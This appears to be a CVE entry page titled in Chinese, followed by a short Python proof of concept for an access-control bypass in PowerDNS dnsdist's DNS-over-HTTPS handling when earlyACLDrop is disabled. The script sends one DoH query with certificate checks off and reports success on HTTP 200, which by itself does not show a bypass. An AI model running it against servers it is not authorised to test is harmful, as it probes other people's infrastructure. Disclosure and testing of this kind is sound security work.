CVE-2026-24029 PowerDNS dnsdist访问控制绕过漏洞

# PoC Demonstration for CVE-2026-24029 # This script demonstrates that ACL checks are bypassed when early_acl_drop is disabled. # # Precondition: dnsdist is configured with nghttp2, an ACL restricting specific IPs, # and 'earlyACLDrop' is set to 'false' in the Lua configuration. import requests import sys # Target DoH server URL (example) target_url = "https://dnsdist-server.example.com:443/dns-query" # Attacker's IP (Assume this IP is NOT in the allowed ACL) # Normally the query should be blocked, but with the vulnerability it succeeds. def test_acl_bypass(): print(f"[*] Attempting to send DoH query to {target_url}...") # Parameters for a DNS A record query params = { "name": "example.com", "type": "A" } headers = { "Accept": "application/dns-json" } try: response = requests.get(target_url, params=params, headers=headers, timeout=5, verify=False) if response.status_code == 200: print("[+] Vulnerability Confirmed: Query successful despite ACL restrictions.") print(f"[+] Response Data: {response.text[:100]}...") else: print(f"[-] Query blocked or failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": test_acl_bypass()